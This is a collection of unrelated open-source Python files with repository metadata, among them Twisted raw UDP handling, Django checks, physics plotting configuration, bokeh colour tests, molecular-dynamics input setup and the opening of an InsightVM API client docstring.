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# -*- test-case-name: twisted.pair.test.test_rawudp -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Implementation of raw packet interfaces for UDP """ import struct from twisted.internet import protocol from twisted.pair import raw from zope.interface import implementer class UDPHeader: def __init__(self, data): (self.source, self.dest, self.len, self.check) \ = struct.unpack("!HHHH", data[:8]) @implementer(raw.IRawDatagramProtocol) class RawUDPProtocol(protocol.AbstractDatagramProtocol): def __init__(self): self.udpProtos = {} def addProto(self, num, proto): if not isinstance(proto, protocol.DatagramProtocol): raise TypeError('Added protocol must be an instance of DatagramProtocol') if num < 0: raise TypeError('Added protocol must be positive or zero') if num >= 2**16: raise TypeError('Added protocol must fit in 16 bits') if num not in self.udpProtos: self.udpProtos[num] = [] self.udpProtos[num].append(proto) def datagramReceived(self, data, partial, source, dest, protocol, version, ihl, tos, tot_len, fragment_id, fragment_offset, dont_fragment, more_fragments, ttl): header = UDPHeader(data) for proto in self.udpProtos.get(header.dest, ()): proto.datagramReceived(data[8:], (source, header.source))

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teadone@naver.com

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version https://git-lfs.github.com/spec/v1 oid sha256:f95aa8138972542126c3bcb4a212d2bf9ef9cda22d8b31711b727a63c523e699 size 335

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[]

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fahimkhan/python

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#! /usr/bin/python balance = int(raw_input('Enter balance')) annualInterestRate = .2 payment = 0 TempBalance = balance while TempBalance > 0: payment += 10 TempBalance = balance for month in range (1,13): TempBalance = (TempBalance - payment) * (1+(annualInterestRate/12)) print(TempBalance) if TempBalance <= 0: print str('Lowest Payment: ' + str(round(payment,2))) break

[ "fahim.elex@gmail.com" ]

fahim.elex@gmail.com

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/promgen/checks.py

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k8stech/promgen

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refs/heads/master

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import os import pathlib from django.conf import settings from django.core import checks from promgen import models, util @checks.register(checks.Tags.models) def sites(app_configs, **kwargs): if models.Site.objects.count() == 0: yield checks.Error( "Site not configured", hint="Missing django site configuration" ) for site in models.Site.objects.filter( pk=settings.SITE_ID, domain__in=["example.com"] ): yield checks.Error( "Site not configured", obj=site, hint="Please update from admin panel" ) @checks.register(checks.Tags.models) def shards(**kwargs): if models.Shard.objects.filter(enabled=True).count() == 0: yield checks.Warning("Missing shards", hint="Ensure some shards are enabled") if models.Shard.objects.filter(proxy=True).count() == 0: yield checks.Warning("No proxy shards", hint="Ensure some shards are enabled") @checks.register("settings") def directories(**kwargs): for key in ["prometheus:rules", "prometheus:blackbox", "prometheus:targets"]: try: path = pathlib.Path(util.setting(key)).parent except TypeError: yield checks.Warning("Missing setting for " + key) else: if not os.access(path, os.W_OK): yield checks.Warning("Unable to write to %s" % path) @checks.register("settings") def promtool(**kwargs): try: path = pathlib.Path(util.setting("prometheus:promtool")) except TypeError: yield checks.Warning("Missing setting for " + key) else: if not os.access(path, os.X_OK): yield checks.Warning("Unable to execute file %s" % path)

[ "paul.traylor@linecorp.com" ]

paul.traylor@linecorp.com

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/Configurations/TTSemiLep/nanoAODv9/2016noHIPM/StackNew_comb/plot_noSig.py

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[]

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bhoh/SNuAnalytics

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refs/heads/master

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import sys from collections import OrderedDict plot=OrderedDict() dict_TColor={ 'green':416+3,##darker greeen 'cyan':432,##bright blue 'magenta':616,##violet 'yellow':400, 'blue':600, 'orange':800+7,##darker orange 'pink':900, 'black':1, 'red':632, 'azure':860,##blue 'gray':920, } scriptname=opt.plotFile if not 'ele' in scriptname: groupPlot['QCD'] = { 'nameHR' : 'QCD', 'isSignal' : 0, 'color' : dict_TColor['gray'], 'isData' : 0, 'samples' : ['QCD_MU'], } if not 'mu' in scriptname: groupPlot['QCD'] = { 'nameHR' : 'QCD', 'isSignal' : 0, 'color' : dict_TColor['gray'], 'isData' : 0, 'samples' : ['QCD_EM','QCD_bcToE'], } groupPlot['TTV'] = { 'nameHR' : 'TTV', 'isSignal' : 0, 'color' : dict_TColor['green'], 'isData' : 0, 'samples' : ['TTWjets','TTZjets'], } groupPlot['VV'] = { 'nameHR' : 'VV', 'isSignal' : 0, 'color' : dict_TColor['cyan'], 'isData' : 0, 'samples' : ['WW','WZ','ZZ'], } groupPlot['V+jets'] = { 'nameHR' : 'V+jets', 'isSignal' : 0, 'color' : dict_TColor['red'], 'isData' : 0, 'samples' : ['DY','Wjets'], } groupPlot['ST'] = { 'nameHR' : 'ST', 'isSignal' : 0, 'color' : dict_TColor['pink'], 'isData' : 0, 'samples' : ['ST'], } groupPlot['TT+jj'] = { 'nameHR' : 'TT+jj', 'isSignal' : 0, 'color': dict_TColor['orange'], 'isData' : 0, 'samples' : ['TTLJ_jj','TTLL_jj'] } groupPlot['TT+bb'] = { 'nameHR' : 'TT+bb', 'isSignal' : 0, 'color': dict_TColor['blue'], 'isData' : 0, 'samples' : ['TTLJ_bb','TTLJ_bj','TTLL_bb','TTLL_bj'] } groupPlot['TT+cc'] = { 'nameHR' : 'TT+cc', 'isSignal' : 0, 'color': dict_TColor['red']+4, 'isData' : 0, 'samples' : ['TTLJ_cc','TTLL_cc'] } #for mass in ['075','080','085','090','100','110','120','130','140','150']: for mass, color in [('090','green'),('120','red'),('150','blue')]: sample_name = 'CHToCB_M{0}'.format(mass) groupPlot[sample_name]={ 'nameHR':'M{0}(BR=0.01)'.format(mass), 'scale' : 2*(0.01)*(1-0.01)*364.35, 'isData' : 0, 'isSignal' : 2, 'color':dict_TColor[color], 'samples' : [sample_name] } if not 'ele' in scriptname: plot['QCD_MU'] = { 'nameHR' : 'QCD_MU', 'isSignal' : 0, 'color': dict_TColor['gray'], 'isData' : 0, 'samples' : ['QCD_MU'] } if not 'mu' in scriptname: plot['QCD_EM'] = { 'nameHR' : 'QCD_EM', 'isSignal' : 0, 'color': dict_TColor['gray'], 'isData' : 0, 'samples' : ['QCD_EM'] } plot['QCD_bcToE'] = { 'nameHR' : 'QCD_bcToE', 'isSignal' : 0, 'color': dict_TColor['gray']+1, 'isData' : 0, 'samples' : ['QCD_bcToE'] } plot['WW'] = { 'nameHR' : 'WW', 'isSignal' : 0, 'color': dict_TColor['cyan'], 'isData' : 0, 'samples' : ['WW'] } plot['WZ'] = { 'nameHR' : 'WZ', 'isSignal' : 0, 'color': dict_TColor['cyan'], 'isData' : 0, 'samples' : ['WZ'] } plot['ZZ'] = { 'nameHR' : 'ZZ', 'isSignal' : 0, 'color': dict_TColor['cyan'], 'isData' : 0, 'samples' : ['ZZ'] } plot['DY'] = { 'nameHR' : 'DY', 'isSignal' : 0, 'color': dict_TColor['red'], 'isData' : 0, 'samples' : ['DY'] } plot['Wjets'] = { 'nameHR' : 'Wjets', 'isSignal' : 0, 'color': dict_TColor['red'], 'isData' : 0, 'samples' : ['Wjets'] } plot['ST'] = { 'nameHR' : 'ST', 'isSignal' : 0, 'color': dict_TColor['pink'], 'isData' : 0, 'samples' : ['ST'] } #plot['TTLL'] = { # 'nameHR' : 'TTLL', # 'isSignal' : 0, # 'color': dict_TColor['magenta'], # 'isData' : 0, # 'samples' : ['TTLL'] # } plot['TTLJ_jj'] = { 'nameHR' : 'TTLJ+jj', 'isSignal' : 0, 'color': dict_TColor['orange'], 'isData' : 0, 'samples' : ['TTLJ_jj'] } plot['TTLJ_cc'] = { 'nameHR' : 'TTLJ+cc', 'isSignal' : 0, 'color': dict_TColor['red']+4, 'isData' : 0, 'samples' : ['TTLJ_cc'] } plot['TTLJ_bj'] = { 'nameHR' : 'TTLJ+bj', 'isSignal' : 0, 'color': dict_TColor['red']+1, 'isData' : 0, 'samples' : ['TTLJ_bj'] } plot['TTLJ_bb'] = { 'nameHR' : 'TTLJ+bb', 'isSignal' : 0, 'color': dict_TColor['blue'], 'isData' : 0, 'samples' : ['TTLJ_bb'] } plot['TTLL_jj'] = { 'nameHR' : 'TTLL+jj', 'isSignal' : 0, 'color': dict_TColor['orange'], 'isData' : 0, 'samples' : ['TTLL_jj'] } plot['TTLL_cc'] = { 'nameHR' : 'TTLL+cc', 'isSignal' : 0, 'color': dict_TColor['red']+4, 'isData' : 0, 'samples' : ['TTLL_cc'] } plot['TTLL_bj'] = { 'nameHR' : 'TTLL+bj', 'isSignal' : 0, 'color': dict_TColor['red']+1, 'isData' : 0, 'samples' : ['TTLL_bj'] } plot['TTLL_bb'] = { 'nameHR' : 'TTLL+bb', 'isSignal' : 0, 'color': dict_TColor['blue'], 'isData' : 0, 'samples' : ['TTLL_bb'] } plot['TTWjets'] = { 'nameHR' : 'TTWjets', 'isSignal' : 0, 'color': dict_TColor['green'], 'isData' : 0, 'samples' : ['TTWjets'] } plot['TTZjets'] = { 'nameHR' : 'TTZjets', 'isSignal' : 0, 'color': dict_TColor['green'], 'isData' : 0, 'samples' : ['TTZjets'] } plot['DATA'] = { 'nameHR' : 'DATA', 'isSignal' : 0, 'color': 1, 'isData' : 1 , 'isBlind' : 0, 'samples' : ['DATA'] } #for mass in ['075','080','085','090','100','110','120','130','140','150']: #for mass, color in [('090','green'),('120','red'),('150','blue')]: # sample_name = 'CHToCB_M{0}'.format(mass) # plot[sample_name]={ # 'nameHR':'M{0}(BR=0.01)'.format(mass), # 'scale' : 2*(0.01)*(1-0.01)*364.35, # 'isData' : 0, # 'isSignal' : 2, # 'color':dict_TColor[color], # 'samples' : [sample_name] # } #import sys #sys.path.insert(0, "MassPoints") #from List_MX import * #from List_MX_VBF import * # # ##for MX in List_MX: #for MX in [900]: # # plot['ggHWWlnuqq_M'+str(MX)]={ # 'nameHR':'ggHWWlnuqq_M'+str(MX), # #'scale' : 100, # 'isData' : 0, # 'isSignal' : 1, # 'color':dict_TColor['red'], # 'samples' : ['ggHWWlnuqq_M'+str(MX)] # } # ##for MX in List_MX_VBF: #for MX in [900]: # plot['vbfHWWlnuqq_M'+str(MX)]={ # 'nameHR':'vbfHWWlnuqq_M'+str(MX), # 'isData' : 0, # 'isSignal' : 1, # #'scale' : 100, # 'color':dict_TColor['blue'], # 'samples' : ['ggHWWlnuqq_M'+str(MX)] # } legend['lumi'] = 'L = 19.5/fb' legend['sqrt'] = '#sqrt{s} = 13 TeV' legend['extraText'] = 'work in progress'

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refs/heads/master

2020-05-30T09:59:19.749099

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class parent: def sum(self,a,b): return a+b

[ "1551577567@qq.com" ]

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#Desenvolva um programa que leia seis números inteiros e mostre a soma apenas daqueles # que forem pares. Se o valor digitado for ímpar, desconsidere-o. soma = 0 for c in range(0, 6): n = int(input('({}) Digite um valor: '.format(c))) if n % 2 == 0: soma += n print('Soma total: {}'.format(soma))

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genesiscurso2020/genesisgit

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#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'genesis.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

[ "gjangoinminutes@gmail.com" ]

gjangoinminutes@gmail.com

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/Components/Decompose Corner and Cap Components.py

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BurgAndOeden/Glyphs-Scripts

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#MenuTitle: Decompose Corner and Cap Components # -*- coding: utf-8 -*- __doc__=""" Recreates the current paths without caps or components. """ from Foundation import NSClassFromString thisFont = Glyphs.font # frontmost font selectedLayers = thisFont.selectedLayers # active layers of selected glyphs removeOverlapFilter = NSClassFromString("GlyphsFilterRemoveOverlap").alloc().init() gridSize = float(thisFont.gridMain())/thisFont.gridSubDivision() def removeCorners(thisLayer): numOfHints = len(thisLayer.hints) for i in range(numOfHints)[::-1]: if thisLayer.hints[i].type == 16: # corner thisLayer.removeObjectFromHintsAtIndex_(i) def removeCaps(thisLayer): numOfHints = len(thisLayer.hints) for i in range(numOfHints)[::-1]: if thisLayer.hints[i].type == 17: # cap thisLayer.removeObjectFromHintsAtIndex_(i) def process( thisLayer ): pen = GSBezStringPen.alloc().init() for thisPath in thisLayer.paths: thisPath.drawInPen_(pen) pathString = pen.charString() newPaths = removeOverlapFilter.pathsFromBez_gridSize_(pathString,gridSize) removeCaps(thisLayer) removeCorners(thisLayer) thisLayer.paths = newPaths thisFont.disableUpdateInterface() # suppresses UI updates in Font View for thisLayer in selectedLayers: thisGlyph = thisLayer.parent print "Processing", thisGlyph.name thisGlyph.beginUndo() # begin undo grouping process( thisLayer ) thisGlyph.endUndo() # end undo grouping thisFont.enableUpdateInterface() # re-enables UI updates in Font View

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res@glyphsapp.com

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/bokeh/colors/tests/test_rgb.py

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modster/bokeh

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#----------------------------------------------------------------------------- # Copyright (c) 2012 - 2017, Anaconda, Inc. All rights reserved. # # Powered by the Bokeh Development Team. # # The full license is in the file LICENSE.txt, distributed with this software. #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Boilerplate #----------------------------------------------------------------------------- from __future__ import absolute_import, division, print_function, unicode_literals import pytest ; pytest #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- # Standard library imports # External imports # Bokeh imports from bokeh.colors import HSL # Module under test import bokeh.colors.rgb as bcr #----------------------------------------------------------------------------- # Setup #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # General API #----------------------------------------------------------------------------- class Test_RGB(object): def test_init(self): c = bcr.RGB(10, 20, 30) assert c assert c.a == 1.0 assert c.r == 10 assert c.g == 20 assert c.b == 30 c = bcr.RGB(10, 20, 30, 0.3) assert c assert c.a == 0.3 assert c.r == 10 assert c.g == 20 assert c.b == 30 def test_repr(self): c = bcr.RGB(10, 20, 30) assert repr(c) == c.to_css() c = bcr.RGB(10, 20, 30, 0.3) assert repr(c) == c.to_css() def test_copy(self): c = bcr.RGB(10, 0.2, 0.3) c2 = c.copy() assert c2 is not c assert c2.a == c.a assert c2.r == c.r assert c2.g == c.g assert c2.b == c.b def test_from_hsl(self): c = HSL(10, 0.1, 0.2) c2 = bcr.RGB.from_hsl(c) assert c2 is not c assert c2.a == 1.0 assert c2.r == 56 assert c2.g == 48 assert c2.b == 46 c = HSL(10, 0.1, 0.2, 0.3) c2 = bcr.RGB.from_hsl(c) assert c2 is not c assert c2.a == 0.3 assert c2.r == 56 assert c2.g == 48 assert c2.b == 46 def test_from_rgb(self): c = bcr.RGB(10, 20, 30) c2 = bcr.RGB.from_rgb(c) assert c2 is not c assert c2.a == c.a assert c2.r == c.r assert c2.g == c.g assert c2.b == c.b c = bcr.RGB(10, 20, 30, 0.1) c2 = bcr.RGB.from_rgb(c) assert c2 is not c assert c2.a == c.a assert c2.r == c.r assert c2.g == c.g assert c2.b == c.b def test_to_css(self): c = bcr.RGB(10, 20, 30) assert c.to_css() == "rgb(10, 20, 30)" c = bcr.RGB(10, 20, 30, 0.3) assert c.to_css() == "rgba(10, 20, 30, 0.3)" def test_to_hex(self): c = bcr.RGB(10, 20, 30) assert c.to_hex(), "#%02X%02X%02X" % (c.r, c.g, c.b) def test_to_hsl(self): c = bcr.RGB(255, 100, 0) c2 = c.to_hsl() assert c2 is not c assert c2.a == c.a assert c2.h == 24 assert c2.s == 1.0 assert c2.l == 0.5 c = bcr.RGB(255, 100, 0, 0.1) c2 = c.to_hsl() assert c2 is not c assert c2.a == c.a assert c2.h == 24 assert c2.s == 1.0 assert c2.l == 0.5 def test_to_rgb(self): c = bcr.RGB(10, 20, 30) c2 = c.to_rgb() assert c2 is not c assert c2.a == c.a assert c2.r == c.r assert c2.g == c.g assert c2.b == c.b c = bcr.RGB(10, 20, 30, 0.1) c2 = c.to_rgb() assert c2 is not c assert c2.a == c.a assert c2.r == c.r assert c2.g == c.g assert c2.b == c.b #----------------------------------------------------------------------------- # Dev API #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Private API #-----------------------------------------------------------------------------

[ "noreply@github.com" ]

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ricardobtxr/experiment-scripts

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-S 2 -X RUN -Q 0 -L 1 73 250 -S 2 -X RUN -Q 0 -L 1 47 150 -S 2 -X RUN -Q 0 -L 1 39 150 -S 1 -X RUN -Q 1 -L 1 36 200 -S 1 -X RUN -Q 1 -L 1 34 150 -S 1 -X RUN -Q 1 -L 1 34 125 -S 0 -X RUN -Q 2 -L 1 32 200 -S 0 -X RUN -Q 2 -L 1 29 400 -S 0 -X RUN -Q 2 -L 1 28 125 -S 3 -X RUN -Q 3 -L 1 27 150 -S 3 -X RUN -Q 3 -L 1 27 250 -S 4 27 200 -S 5 25 300 -S 4 25 175 -S 4 21 150 -S 4 21 125 -S 4 17 125 -S 4 15 125 -S 4 13 125 -S 5 10 100 -S 5 10 125

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ricardo.btxr@gmail.com

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/bace_input/L4M/4M-4K_MD_NVT_rerun/set_2.py

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AnguseZhang/Input_TI

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import os dir = '/mnt/scratch/songlin3/run/bace/L4M/MD_NVT_rerun/ti_one-step/4M_4K/' filesdir = dir + 'files/' temp_prodin = filesdir + 'temp_prod_2.in' temp_pbs = filesdir + 'temp_2.pbs' lambd = [ 0.00922, 0.04794, 0.11505, 0.20634, 0.31608, 0.43738, 0.56262, 0.68392, 0.79366, 0.88495, 0.95206, 0.99078] for j in lambd: os.chdir("%6.5f" %(j)) workdir = dir + "%6.5f" %(j) + '/' #prodin prodin = workdir + "%6.5f_prod_2.in" %(j) os.system("cp %s %s" %(temp_prodin, prodin)) os.system("sed -i 's/XXX/%6.5f/g' %s" %(j, prodin)) #PBS pbs = workdir + "%6.5f_2.pbs" %(j) os.system("cp %s %s" %(temp_pbs, pbs)) os.system("sed -i 's/XXX/%6.5f/g' %s" %(j, pbs)) #submit pbs #os.system("qsub %s" %(pbs)) os.chdir(dir)

[ "songlin3@msu.edu" ]

songlin3@msu.edu

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/nidm_neo4j.py

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vsoch/nidm-neo4j

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from nidmviewer.convert import get_lookups, get_nidm_keys, get_field_groups from nidmviewer.convert import getjson from rdflib.serializer import Serializer from rdflib import Graph as graphrdf, plugin import rdfextras rdfextras.registerplugins() plugin.register( 'json-ld', Serializer, 'rdflib_jsonld.serializer', 'JsonLDSerializer') import numpy import json import re import os import sys ttl_file = sys.argv[1] outfolder = sys.argv[2] username = sys.argv[3] repo_name = sys.argv[4] if not os.path.exists(outfolder): os.mkdir(outfolder) ttl = getjson(ttl_file) # create a node def create_node(nid,node_type,uid,name,properties): node_type = node_type.lower().replace(" ","").replace("'","").replace("-","") name = name.replace("'","").replace("-","") if len(properties) > 0: property_string = "" for p in range(len(properties)): property_name = properties[p][0].lower().replace(" ","").replace("'","").replace("-","") property_value = properties[p][1] property_string = "%s %s : '%s'," %(property_string,property_name,property_value) property_string = property_string[:-1] return "create (_%s:%s { id : '%s', name :'%s', %s})\n" %(nid,node_type,uid,name,property_string) else: return "create (_%s:%s { id : '%s', name :'%s'})\n" %(nid,node_type,uid,name) # create a relationship def create_relation(nid1,nid2,relationship): relationship = relationship.upper().replace("'","").replace("-","") return "create _%s-[:`%s`]->_%s\n" %(nid1,relationship,nid2) fields,lookup = get_lookups(ttl) groups = get_field_groups(ttl) manual_fields = get_nidm_keys() for name,uri in manual_fields.iteritems(): if uri not in lookup: lookup[uri] = name # First we will save data structures to look up node ids based on URI nodes = dict() count = 1 for result in ttl: rgroup = [x for x in result["@type"] if x in groups][0] rtype = [x for x in result["@type"] if x != rgroup] if len(rtype)>0: rtype = rtype[0] if rtype in lookup.keys(): result_id = result["@id"].encode("utf-8") if result_id not in nodes: nodes[result_id] = count count +=1 # Define ids of relationships labeluri = "http://www.w3.org/2000/01/rdf-schema#label" relations = list() neo4j = list() for result in ttl: rgroup = [x for x in result["@type"] if x in groups][0] rtype = [x for x in result["@type"] if x != rgroup] if len(rtype)>0: rtype = rtype[0] if rtype in lookup.keys(): node_id = nodes[result_id] # Here is the node_id result_id = result["@id"] label = lookup[rtype] if labeluri in result: name = result[labeluri][0]["@value"].encode("utf-8") else: name = "%s_%s" %(label,count) # Find things we know about data = [x for x in result.keys() if x in lookup.keys()] data_labels = [lookup[d] for d in data] # We will save a list of properties and values for the node properties = [] for d in range(len(data)): datum = data[d] human_label = data_labels[d] # If it just has an id, assume it's a relationship if "@id" in result[datum][0].keys(): if result[datum][0]["@id"] in nodes: relation_id = nodes[result[datum][0]["@id"]] relationship = lookup[datum] relations.append(create_relation(node_id,relation_id,relationship)) count+=1 # If it has type and value, it's a property if "@value" in result[datum][0].keys(): property_name = lookup[datum] property_value = result[datum][0]["@value"] properties.append((property_name,property_value)) # Now create the node! new_node = create_node(node_id,label,result_id,name,properties) neo4j.append(new_node.encode("utf-8")) # Now print to file! filey = open("%s/graph.gist" %(outfolder),'w') filey.writelines("= %s\n:neo4j-version: 2.0.0\n:author: Nidash Working Group\n:twitter: @nidm\n:tags: nidm:nidash:informatics:neuroimaging:data-structure\n'''\nThis is a neo4j graph to show the turtle file %s.\n'''\n[source, cypher]\n----\n" %(ttl_file,ttl_file)) for node in neo4j: filey.writelines(node) for relation in relations: filey.writelines(relation) filey.writelines("----\n//graph\nWe can use cypher to query the graph, here are some examples:\n[source, cypher]\n----\nMATCH (p:peak)-[l:ATLOCATION]->(c:coordinate) RETURN c as coordinate, p as peak\n----\n//table\n'''\n[source, cypher]\n----\nMATCH (p:peak)-[l:ATLOCATION]->(c:coordinate) RETURN c.name as name, c.coordinatevector as coordinate, p.equivalent_zstatistic as z, p.name as peak_name, p.pvalue_uncorrected as pvalue_uncorrected\n----\n//table\n'''\n== NIDM Working Group\n* link:http://nidm.nidash.org/[NIDM Standard]\n") filey.close() # Now write a Readme to link the gist filey = open("%s/README.md" %(outfolder),'w') filey.writelines("### %s\n" %(ttl_file)) filey.writelines("[view graph](http://gist.neo4j.org/?github-"+ username + "%2F" + repo_name + "%2F%2F" + outfolder + "%2Fgraph.gist)\n") filey.close()

[ "vsochat@stanford.edu" ]

vsochat@stanford.edu

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/py_insightvm_sdk/models/discovery_search_criteria.py

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greenpau/py_insightvm_sdk

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refs/heads/master

2020-04-21T08:22:31.431529

2020-02-27T02:25:46

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# coding: utf-8 """ InsightVM API # Overview This guide documents the InsightVM Application Programming Interface (API) Version 3. This API supports the Representation State Transfer (REST) design pattern. Unless noted otherwise this API accepts and produces the `application/json` media type. This API uses Hypermedia as the Engine of Application State (HATEOAS) and is hypermedia friendly. All API connections must be made to the security console using HTTPS. ## Versioning Versioning is specified in the URL and the base path of this API is: `https://<host>:<port>/api/3/`. ## Specification An <a target=\"_blank\" href=\"https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md\">OpenAPI v2</a> specification (also known as Swagger 2) of this API is available. Tools such as <a target=\"_blank\" href=\"https://github.com/swagger-api/swagger-codegen\">swagger-codegen</a> can be used to generate an API client in the language of your choosing using this specification document. <p class=\"openapi\">Download the specification: <a class=\"openapi-button\" target=\"_blank\" download=\"\" href=\"/api/3/json\"> Download </a></p> ## Authentication Authorization to the API uses HTTP Basic Authorization (see <a target=\"_blank\" href=\"https://www.ietf.org/rfc/rfc2617.txt\">RFC 2617</a> for more information). Requests must supply authorization credentials in the `Authorization` header using a Base64 encoded hash of `\"username:password\"`.  ### 2FA This API supports two-factor authentication (2FA) by supplying an authentication token in addition to the Basic Authorization. The token is specified using the `Token` request header. To leverage two-factor authentication, this must be enabled on the console and be configured for the account accessing the API. ## Resources ### Naming Resource names represent nouns and identify the entity being manipulated or accessed. All collection resources are pluralized to indicate to the client they are interacting with a collection of multiple resources of the same type. Singular resource names are used when there exists only one resource available to interact with. The following naming conventions are used by this API: | Type | Case | | --------------------------------------------- | ------------------------ | | Resource names | `lower_snake_case` | | Header, body, and query parameters parameters | `camelCase` | | JSON fields and property names | `camelCase` | #### Collections A collection resource is a parent resource for instance resources, but can itself be retrieved and operated on independently. Collection resources use a pluralized resource name. The resource path for collection resources follow the convention: ``` /api/3/{resource_name} ``` #### Instances An instance resource is a \"leaf\" level resource that may be retrieved, optionally nested within a collection resource. Instance resources are usually retrievable with opaque identifiers. The resource path for instance resources follows the convention: ``` /api/3/{resource_name}/{instance_id}... ``` ## Verbs The following HTTP operations are supported throughout this API. The general usage of the operation and both its failure and success status codes are outlined below. | Verb | Usage | Success | Failure | | --------- | ------------------------------------------------------------------------------------- | ----------- | -------------------------------------------------------------- | | `GET` | Used to retrieve a resource by identifier, or a collection of resources by type. | `200` | `400`, `401`, `402`, `404`, `405`, `408`, `410`, `415`, `500` | | `POST` | Creates a resource with an application-specified identifier. | `201` | `400`, `401`, `404`, `405`, `408`, `413`, `415`, `500` | | `POST` | Performs a request to queue an asynchronous job. | `202` | `400`, `401`, `405`, `408`, `410`, `413`, `415`, `500` | | `PUT` | Creates a resource with a client-specified identifier. | `200` | `400`, `401`, `403`, `405`, `408`, `410`, `413`, `415`, `500` | | `PUT` | Performs a full update of a resource with a specified identifier. | `201` | `400`, `401`, `403`, `405`, `408`, `410`, `413`, `415`, `500` | | `DELETE` | Deletes a resource by identifier or an entire collection of resources. | `204` | `400`, `401`, `405`, `408`, `410`, `413`, `415`, `500` | | `OPTIONS` | Requests what operations are available on a resource. | `200` | `401`, `404`, `405`, `408`, `500` | ### Common Operations #### OPTIONS All resources respond to the `OPTIONS` request, which allows discoverability of available operations that are supported. The `OPTIONS` response returns the acceptable HTTP operations on that resource within the `Allow` header. The response is always a `200 OK` status. ### Collection Resources Collection resources can support the `GET`, `POST`, `PUT`, and `DELETE` operations. #### GET The `GET` operation invoked on a collection resource indicates a request to retrieve all, or some, of the entities contained within the collection. This also includes the optional capability to filter or search resources during the request. The response from a collection listing is a paginated document. See [hypermedia links](#section/Overview/Paging) for more information. #### POST The `POST` is a non-idempotent operation that allows for the creation of a new resource when the resource identifier is not provided by the system during the creation operation (i.e. the Security Console generates the identifier). The content of the `POST` request is sent in the request body. The response to a successful `POST` request should be a `201 CREATED` with a valid `Location` header field set to the URI that can be used to access to the newly created resource. The `POST` to a collection resource can also be used to interact with asynchronous resources. In this situation, instead of a `201 CREATED` response, the `202 ACCEPTED` response indicates that processing of the request is not fully complete but has been accepted for future processing. This request will respond similarly with a `Location` header with link to the job-oriented asynchronous resource that was created and/or queued. #### PUT The `PUT` is an idempotent operation that either performs a create with user-supplied identity, or a full replace or update of a resource by a known identifier. The response to a `PUT` operation to create an entity is a `201 Created` with a valid `Location` header field set to the URI that can be used to access to the newly created resource. `PUT` on a collection resource replaces all values in the collection. The typical response to a `PUT` operation that updates an entity is hypermedia links, which may link to related resources caused by the side-effects of the changes performed. #### DELETE The `DELETE` is an idempotent operation that physically deletes a resource, or removes an association between resources. The typical response to a `DELETE` operation is hypermedia links, which may link to related resources caused by the side-effects of the changes performed. ### Instance Resources Instance resources can support the `GET`, `PUT`, `POST`, `PATCH` and `DELETE` operations. #### GET Retrieves the details of a specific resource by its identifier. The details retrieved can be controlled through property selection and property views. The content of the resource is returned within the body of the response in the acceptable media type. #### PUT Allows for and idempotent \"full update\" (complete replacement) on a specific resource. If the resource does not exist, it will be created; if it does exist, it is completely overwritten. Any omitted properties in the request are assumed to be undefined/null. For \"partial updates\" use `POST` or `PATCH` instead. The content of the `PUT` request is sent in the request body. The identifier of the resource is specified within the URL (not the request body). The response to a successful `PUT` request is a `201 CREATED` to represent the created status, with a valid `Location` header field set to the URI that can be used to access to the newly created (or fully replaced) resource. #### POST Performs a non-idempotent creation of a new resource. The `POST` of an instance resource most commonly occurs with the use of nested resources (e.g. searching on a parent collection resource). The response to a `POST` of an instance resource is typically a `200 OK` if the resource is non-persistent, and a `201 CREATED` if there is a resource created/persisted as a result of the operation. This varies by endpoint. #### PATCH The `PATCH` operation is used to perform a partial update of a resource. `PATCH` is a non-idempotent operation that enforces an atomic mutation of a resource. Only the properties specified in the request are to be overwritten on the resource it is applied to. If a property is missing, it is assumed to not have changed. #### DELETE Permanently removes the individual resource from the system. If the resource is an association between resources, only the association is removed, not the resources themselves. A successful deletion of the resource should return `204 NO CONTENT` with no response body. This operation is not fully idempotent, as follow-up requests to delete a non-existent resource should return a `404 NOT FOUND`. ## Requests Unless otherwise indicated, the default request body media type is `application/json`. ### Headers Commonly used request headers include: | Header | Example | Purpose | | ------------------ | --------------------------------------------- | ---------------------------------------------------------------------------------------------- | | `Accept` | `application/json` | Defines what acceptable content types are allowed by the client. For all types, use `*/*`. | | `Accept-Encoding` | `deflate, gzip` | Allows for the encoding to be specified (such as gzip). | | `Accept-Language` | `en-US` | Indicates to the server the client's locale (defaults `en-US`). | | `Authorization ` | `Basic Base64(\"username:password\")` | Basic authentication | | `Token ` | `123456` | Two-factor authentication token (if enabled) | ### Dates & Times Dates and/or times are specified as strings in the ISO 8601 format(s). The following formats are supported as input: | Value | Format | Notes | | --------------------------- | ------------------------------------------------------ | ----------------------------------------------------- | | Date | YYYY-MM-DD | Defaults to 12 am UTC (if used for a date & time | | Date & time only | YYYY-MM-DD'T'hh:mm:ss[.nnn] | Defaults to UTC | | Date & time in UTC | YYYY-MM-DD'T'hh:mm:ss[.nnn]Z | | | Date & time w/ offset | YYYY-MM-DD'T'hh:mm:ss[.nnn][+|-]hh:mm | | | Date & time w/ zone-offset | YYYY-MM-DD'T'hh:mm:ss[.nnn][+|-]hh:mm[<zone-id>] | | ### Timezones Timezones are specified in the regional zone format, such as `\"America/Los_Angeles\"`, `\"Asia/Tokyo\"`, or `\"GMT\"`. ### Paging Pagination is supported on certain collection resources using a combination of two query parameters, `page` and `size`. As these are control parameters, they are prefixed with the underscore character. The page parameter dictates the zero-based index of the page to retrieve, and the `size` indicates the size of the page. For example, `/resources?page=2&size=10` will return page 3, with 10 records per page, giving results 21-30. The maximum page size for a request is 500. ### Sorting Sorting is supported on paginated resources with the `sort` query parameter(s). The sort query parameter(s) supports identifying a single or multi-property sort with a single or multi-direction output. The format of the parameter is: ``` sort=property[,ASC|DESC]... ``` Therefore, the request `/resources?sort=name,title,DESC` would return the results sorted by the name and title descending, in that order. The sort directions are either ascending `ASC` or descending `DESC`. With single-order sorting, all properties are sorted in the same direction. To sort the results with varying orders by property, multiple sort parameters are passed. For example, the request `/resources?sort=name,ASC&sort=title,DESC` would sort by name ascending and title descending, in that order. ## Responses The following response statuses may be returned by 